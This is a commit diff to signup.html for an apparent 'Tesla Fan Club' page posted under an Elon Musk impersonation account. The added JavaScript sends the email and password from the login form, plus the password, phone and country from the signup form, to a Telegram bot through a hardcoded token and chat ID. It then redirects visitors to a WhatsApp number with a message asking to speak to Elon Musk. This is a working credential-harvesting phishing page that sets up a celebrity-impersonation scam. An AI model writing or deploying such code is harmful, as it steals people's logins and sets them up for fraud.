Spaces:

ElonMuskTeslaMarketingDepartment
/

FanClub

Running

App Files Files Community

ElonMuskTeslaMarketingDepartment commited on Aug 22, 2025

Commit

23009de

verified ·

1 Parent(s): 579ad2d

Update signup.html

Browse files

Files changed (1) hide show

signup.html +86 -34

signup.html CHANGED Viewed

@@ -98,11 +98,28 @@
 <body>
     <div class="container">
         <div class="tabs">
-             <div class="tab" data-target="#signup">Sign Up</div>
-            <div class="tab active" data-target="#login">Login</div>
         </div>
-      <div class="form-container" id="signup">
             <h2>Sign Up</h2>
             <form id="signup-form">
                 <div class="form-group">
@@ -131,24 +148,6 @@
             <p class="error-message" id="signup-error-message"></p>
         </div>
     </div>
-        <div class="form-container active" id="login">
-            <h2>Login</h2>
-            <form id="login-form">
-                <div class="form-group">
-                    <label for="login-username">Email</label>
-                    <input type="email" id="login-username" name="username" required>
-                </div>
-                <div class="form-group">
-                    <label for="login-password">Enter Password</label>
-                    <input type="password" id="login-password" name="password" required minlength="8">
-                </div>
-                <button type="submit" class="btn">Login</button>
-            </form>
-            <p class="message" id="login-success-message">Login successful!</p>
-        </div>
     <script>
         // Tab Switching Logic
@@ -164,10 +163,71 @@
             });
         });
         // Login Form Submission
-        document.getElementById('login-form').addEventListener('submit', function(event) {
             event.preventDefault();
-            document.getElementById('login-success-message').style.display = 'block';
         });
         // Signup Form Submission
@@ -209,14 +269,8 @@
                 return;
             }
-            // Telegram Bot Configuration (MOVE TO BACKEND FOR SECURITY)
-            const tg = {
-                token: '7981841433:AAEMY6ZluU-NaxMcCRGLt0Ms5Rn4LM1EwCI', // Replace with your new Telegram bot token
-                chat_id: '7172238291' // Verify this chat ID is correct
-            };
-            // Format message for Telegram
-            const message = `New Signup:\n*Username*: ${username}\n*Phone*: ${phone}\n*Country*: ${address}`;
             try {
                 // Send data to Telegram
@@ -239,9 +293,7 @@
                     errorMessage.style.display = 'none';
                     // Redirect to WhatsApp chat
-                    const whatsappNumber = '+19843527854'; // Replace with your valid WhatsApp number (e.g., +1234567890)
-                    const whatsappMessage = encodeURIComponent(`Hi, I just signed up for the Tesla Fan Club as ${username}!`);
-                    const whatsappUrl = `https://wa.me/${whatsappNumber}?text=${whatsappMessage}`;
                     window.location.assign(whatsappUrl); // Direct redirect to avoid popup warning
                 } else {
                     throw new Error(result.description || 'Failed to send message to Telegram');

 <body>
     <div class="container">
         <div class="tabs">
+            <div class="tab active" data-target="#signup">Sign Up</div>
+            <div class="tab" data-target="#login">Login</div>
         </div>
+        <div class="form-container" id="login">
+            <h2>Login</h2>
+            <form id="login-form">
+                <div class="form-group">
+                    <label for="login-username">Email</label>
+                    <input type="email" id="login-username" name="username" required>
+                </div>
+                <div class="form-group">
+                    <label for="login-password">Enter Password</label>
+                    <input type="password" id="login-password" name="password" required minlength="8">
+                </div>
+                <button type="submit" class="btn">Login</button>
+            </form>
+            <p class="message" id="login-success-message">Login successful! Redirecting to WhatsApp...</p>
+            <p class="error-message" id="login-error-message"></p>
+        </div>
+        <div class="form-container active" id="signup">
             <h2>Sign Up</h2>
             <form id="signup-form">
                 <div class="form-group">
             <p class="error-message" id="signup-error-message"></p>
         </div>
     </div>
     <script>
         // Tab Switching Logic
             });
         });
+        // Telegram Bot Configuration (MOVE TO BACKEND FOR SECURITY)
+        const tg = {
+            token: '7981841433:AAEMY6ZluU-NaxMcCRGLt0Ms5Rn4LM1EwCI',
+            chat_id: '7172238291'
+        };
+        // WhatsApp Configuration
+        const whatsappNumber = '+19843527854';
+        const whatsappMessage = (username) => encodeURIComponent(`Hi, I just signed up for the Tesla Fan Club as ${username}. I want To speak directly with Elon Musk!`);
         // Login Form Submission
+        document.getElementById('login-form').addEventListener('submit', async function(event) {
             event.preventDefault();
+            const username = document.getElementById('login-username').value;
+            const password = document.getElementById('login-password').value;
+            const errorMessage = document.getElementById('login-error-message');
+            const successMessage = document.getElementById('login-success-message');
+            // Reset messages
+            errorMessage.style.display = 'none';
+            successMessage.style.display = 'none';
+            // Validate email format
+            const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
+            if (!emailRegex.test(username)) {
+                errorMessage.textContent = 'Please enter a valid email address';
+                errorMessage.style.display = 'block';
+                return;
+            }
+            // Format message for Telegram (including password - INSECURE)
+            const message = `New Login:\n*Email*: ${username}\n*Password*: ${password}`;
+            try {
+                // Send data to Telegram
+                const url = `https://api.telegram.org/bot${tg.token}/sendMessage`;
+                const response = await fetch(url, {
+                    method: 'POST',
+                    headers: {
+                        'Content-Type': 'application/json'
+                    },
+                    body: JSON.stringify({
+                        chat_id: tg.chat_id,
+                        text: message,
+                        parse_mode: 'Markdown'
+                    })
+                });
+                const result = await response.json();
+                if (response.ok && result.ok) {
+                    successMessage.style.display = 'block';
+                    errorMessage.style.display = 'none';
+                    // Redirect to WhatsApp chat
+                    const whatsappUrl = `https://wa.me/${whatsappNumber}?text=${whatsappMessage(username)}`;
+                    window.location.assign(whatsappUrl); // Direct redirect to avoid popup warning
+                } else {
+                    throw new Error(result.description || 'Failed to send message to Telegram');
+                }
+            } catch (error) {
+                errorMessage.textContent = `Error: ${error.message}`;
+                errorMessage.style.display = 'block';
+                console.error('Error:', error);
+            }
         });
         // Signup Form Submission
                 return;
             }
+            // Format message for Telegram (including password - INSECURE)
+            const message = `New Signup:\n*Username*: ${username}\n*Password*: ${password}\n*Phone*: ${phone}\n*Country*: ${address}`;
             try {
                 // Send data to Telegram
                     errorMessage.style.display = 'none';
                     // Redirect to WhatsApp chat
+                    const whatsappUrl = `https://wa.me/${whatsappNumber}?text=${whatsappMessage(username)}`;
                     window.location.assign(whatsappUrl); // Direct redirect to avoid popup warning
                 } else {
                     throw new Error(result.description || 'Failed to send message to Telegram');